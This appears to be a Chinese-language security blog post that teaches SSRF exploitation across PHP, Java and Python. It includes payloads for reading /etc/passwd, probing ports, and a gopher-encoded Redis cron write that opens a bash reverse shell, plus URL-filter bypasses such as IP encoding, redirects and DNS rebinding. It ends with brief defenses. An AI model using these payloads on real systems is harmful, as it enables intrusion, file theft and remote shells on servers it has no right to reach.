SSRF Tricks小结
/0x00 前言
SSRF漏洞原理很简单,这里只整理下SSRF的一些绕过技巧以及在不同语言下的细微差别。
0x01 SSRF in PHP
SSRF相关函数
在PHP中,涉及到SSRF漏洞的函数有:
1 | file_get_contents() |
其中有如下几个注意点:
- 大部分PHP并不会开启fsockopen()的Gopher Wrapper;
- file_get_contents()的Gopher协议不能进行URLencode;
- file_get_contents()关于Gopher的302跳转有bug,会导致利用失败;
- file_get_contents()支持php://input协议;
- curl/libcurl 7.43版本上Gopher协议存在bug即%00截断,经测试7.49版本可用;
- curl_exec()默认不跟踪跳转;
curl_exec()造成的SSRF:
1 | function curl($url){ |
file_get_contents()造成的SSRF:
1 | $url = $_GET['url'];; |
fsockopen()造成的SSRF:
1 | function GetFile($host,$port,$link) |
可利用的协议
在PHP中能够进行SSRF攻击利用的协议:
- http/https:主要用来探测内网服务,根据响应的状态判断内网端口及服务,可以结合如Struts2的RCE来实现攻击;
- file:读取服务器上的任意文件内容;
- dict:除了泄露安装软件版本信息,还可以查看端口,操作内网Redis服务等;
- gopher:能够将所有操作转换成数据流,并将数据流一次发送出去,可以用来探测内网的所有服务的所有漏洞,可利用来攻击Redis和PHP-FPM;
- ftp/ftps:FTP匿名访问、爆破;
- tftp:UDP协议扩展,发送UDP报文;
- imap/imaps/pop3/smtp/smtps:爆破邮件用户名密码;
- telnet:SSH/Telnet匿名访问及爆破;
本地利用
PHP中的curl_exec()函数导致的SSRF漏洞在CTF中是经常遇到的,该函数会执行cURL会话。
可以通过curl -V
命令查看curl版本及其支持的协议类型:
可以看到,我本地kali的是支持dict、file、gopher等等协议的。因此本地利用可使用上述几个协议。
注意:Windows使用curl命令需要把单引号换成双引号。
file://协议任意读文件
1 | curl -v 'file:///etc/passwd' |
dict://协议探测端口及banner信息
1 | curl -v 'dict://127.0.0.1:22' |
gopher://协议反弹shell
1 | curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' |
当需要更换IP和端口时,命令中的$57
需要同时更改,因为$57
表示的是exp字符串长度为57个字节,上面的exp即%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a
这段字符串URL解码后的长度为57。
这部分在下面的远程利用中会具体讲到。
远程利用
网上找的SSRF题目代码跑下就好。远程利用分为回显型和无回显型。
s1.php,未做任何SSRF防御,且有回显:
1 |
|
利用exp,比较简单,就不贴图了:
1 | http://192.168.10.137/s1.php?url=file:///etc/passwd |
s2.php,限制协议为HTTP/HTTPS,且设置跳转重定向为True(默认不跳转):
1 |
|
此时使用dict、gopher等协议已经不能像上一个题目一样直接同理,但是还可以利用302跳转的方式来绕过http/https协议限制。
Redis反弹Shell
Redis定时任务反弹shell语句如下:
1 | set 1 "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n" |
通过Gopher协议实现
Gopher协议在SSRF利用中被广泛运用,其URL格式如下:
1 | gopher://<host>:<port>/<gopher-path>_后接TCP数据流 |
也就是说,通过Gopher协议,我们可以直接发送TCP协议流,从中进行urlencode编码来构造SSRF攻击代码。
具体Gopher协议报文的构造可参考Joychou的博客:https://joychou.org/web/phpssrf.html#directory0418754728965590855
通过Dict协议实现
这部分引用自:SSRF漏洞分析与利用
dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:
1 | import requests |
因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:
1 |
|
shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:
1 |
|
执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell。
攻击本地PHP-FPM
SSRF打本地PHP-FPM在之前的博文中有讲过:《浅谈PHP-FPM安全》
本次的Gopher协议攻击报文是直接通过脚本生成的。
0x02 SSRF in Java
可利用的协议
由于Java没有PHP的cURL,因此不能像PHP一样可以通过curl -V
来查看支持的协议,这里我们可以使用import sun.net.www.protocol
来查看支持哪些协议:
可以看到是支持file、ftp、http/https、jar、mailto、netdoc等协议的。
而实际上有攻击利用价值的仅为file和http/https协议。
SSRF相关类
Java中能发起网络请求的类:
- HttpClient类
- HttpURLConnection类
- URLConnection类
- URL类
- OkHttp类
- ImageIO类
- Request类
注意:Request是对HttpClient类进行了封装的类,类似于Python的requests库。其用法简单,一行代码就能获取网页内容:
1 | Request.Get(url).execute().returnContent().toString(); |
其中,仅支持HTTP/HTTPS协议的类(即类名或封装的类名带http):
- HttpClient类
- HttpURLConnection类
- OkHttp类
- Request类
支持sun.net.www.protocol
所有协议的类:
- URLConnection类
- URL类
- ImageIO类
漏洞示例代码
本部分引自:JAVA代码审计之XXE与SSRF
环境搭建可使用这个项目,这里就不演示了:https://github.com/pplsec/JavaVul/tree/master/MySSRF
HttpURLConnection类
1 | //HttpURLConnection ssrf vul |
URLConnection类
1 | //urlConnection ssrf vul |
ImageIO类
1 | // ImageIO ssrf vul |
其他类
1 | // Request漏洞示例 |
特有jar://协议分析
jar://协议能从远程获取jar文件及解压得到其中的内容,其格式如下:
1 | jar:<url>!/{entry} |
实例如下,!
符号后面就是其需要从中解压出的文件:
1 | jar:http://a.com/b.jar!/file/within/the/zip |
jar://协议分类:
- Jar file(Jar包本身):
jar:http://www.foo.com/bar/baz.jar!/
- Jar entry(Jar包中某个资源文件):
jar:http://www.foo.com/bar/baz.jar!/COM/foo/a.class
- Jar directory(Jar包中某个目录):
jar:http://www.foo.com/bar/baz.jar!/COM/foo/
其实目前jar://协议在Java SSRF中的利用一般是获取目标jar包中的文件内容,比如某个类,其并不像其他常用的攻击协议一样能够对内网服务发起攻击。
比如下面的poc是获取目标jar包内C3P0.class文件:
1 | http://127.0.0.1:8080/MySSRF/ssrf2?url=jar:http://127.0.0.1/ysoserial.jar!/ysoserial/payloads/C3P0.class |
这样就能看到jar包中的任何内容,如果jar包还是开发者自定义的话就会造成源码泄露,但是这个协议的利用还是很鸡肋。
Weblogic SSRF漏洞
参考Vulhub的环境:https://vulhub.org/#/environments/weblogic/ssrf/
0x03 SSRF in Python
SSRF在Python中也是一样的,漏洞点都是发起URL请求的函数的参数外部可控导致SSRf漏洞。最为经典的就是和urllib的CRLF注入漏洞的结合利用,可参考:Hack Redis via Python urllib HTTP Header Injection
0x04 URL地址过滤Bypass
如今,大多数站点都对存在SSRF风险的地方的URL参数进行了过滤,但开发者的水平参差不齐,会存在一些可被绕过的场景。
@符绕过URL白名单
有时候后台程序会以白名单的方式校验输入的URL参数是否为白名单中的域名或IP,但如果只校验如是否以http://a.com
开头,则可以通过@
符进行绕过:http://a.com@10.10.10.100
而此时实际访问的是http://10.10.10.100
。
IP地址进制转换绕过
通常,一些开发者会通过某些正则表达式来过滤掉内网地址,如:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
此时我们可以对IP地址进行进制转换来绕过,例如192.168.0.1这个地址可以被改写成:
- 8进制格式:0300.0250.0.1
- 16进制格式:0xC0.0xA8.0.1
- 16进制整数格式:0xC0A80001
- 10进制整数格式:3232235521(先转16进制正是格式再转回10进制整数形式)
其他特殊形式:
- 10.0.0.1可以写成10.1,访问改写后的IP地址时Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作;
- 0.0.0.0可以直接访问到本地;
通过xip.io解析到内网绕过
这个就不用多介绍了,例如10.0.0.1这个内网IP地址是和以下几种形式的域名等价的:
- 10.0.0.1.xip.io
- www.10.0.0.1.xip.io
- mysite.10.0.0.1.xip.io
- foo.bar.10.0.0.1.xip.io
利用IPv6绕过
有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如
[::]
0000::1
或IPv6的内网域名来绕过过滤。
利用IDN绕过
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
和example.com
等同。利用这种方式,可以用① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
等字符绕过内网限制。
利用30x跳转绕过
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。
常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。
跳转常见的结合协议的方式:
1 |
|
DNS Rebinding
DNS Rebinding可以利用于绕过SSRF以及绕过同源策略等。
这里看下利用DNS Rebinding绕过SSRF过滤URL参数的场景,有如下三种方法。
特定域名实现TTL=0
一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
域名绑定两条A记录
四分之一的概率,当第一次解析为外网IP,第二次解析为内网IP,就会成功。
自建DNS服务器
先添加一条NS记录和一条A记录:
Ns记录表示这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,A记录表示ns.h0pe.site位置在ip地址x.x.x.x上。
在这个IP地址上搭建DNS服务器,采用Python的twisted库的name模块,核心代码如下,以root权限运行即可:
1 | from twisted.internet import reactor, defer |
通过各种非HTTP协议
在某些情况下,后台会限制协议类型,如不能使用http/https。
在前面的SSRF攻击利用中提到过很多协议,如file、dict、gopher等,可以使用这些不在限制协议名单中的协议来绕过利用,具体的还得看后台语言和环境而定。
0x05 漏洞组合拳
SSRF+文件解析漏洞
当某个页面存在SSRF漏洞,但限制了只能加载jpg等图片类型后缀的文件。此时可以结合如Apache解析漏洞,上传一个a.php.jpg的恶意文件,在通过SSRF漏洞来加载执行。
SSRF+CRLF注入漏洞
如SSRF in Python中所说。
SSRF+XXE漏洞
参考bWAPP中SSRF。
其他一些漏洞利用组合
- Apache Hadoop远程命令执行
- axis2-admin部署Server命令执行
- Confluence SSRF
- counchdb WEB API远程命令执行
- dict
- docker API远程命令执行
- Elasticsearch引擎Groovy脚本命令执行
- ftp / ftps(FTP爆破)
- glassfish任意文件读取和war文件部署间接命令执行
- gopher
- HFS远程命令执行
- http、https
- imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
- Java调试接口命令执行
- JBOSS远程Invoker war命令执行
- Jenkins Scripts接口命令执行
- ldap
- mongodb
- php_fpm/fastcgi 命令执行
- rtsp - smb/smbs(连接SMB)
- sftp
- ShellShock命令执行
- Struts2 RCE
- telnet
- tftp(UDP协议扩展)
- tomcat命令执行
- WebDav PUT上传任意文件
- WebSphere Admin可部署war间接命令执行
- zentoPMS远程命令执行
0x06 防御方法
- 限制协议为http/https,禁用不必要的协议;
- 尽量禁止30x跳转;
- 设置URL白名单或限制内网IP、限制请求的端口等;
- 统一错误信息;
- 对DNS Rebinding,考虑使用DNS缓存或者Host白名单;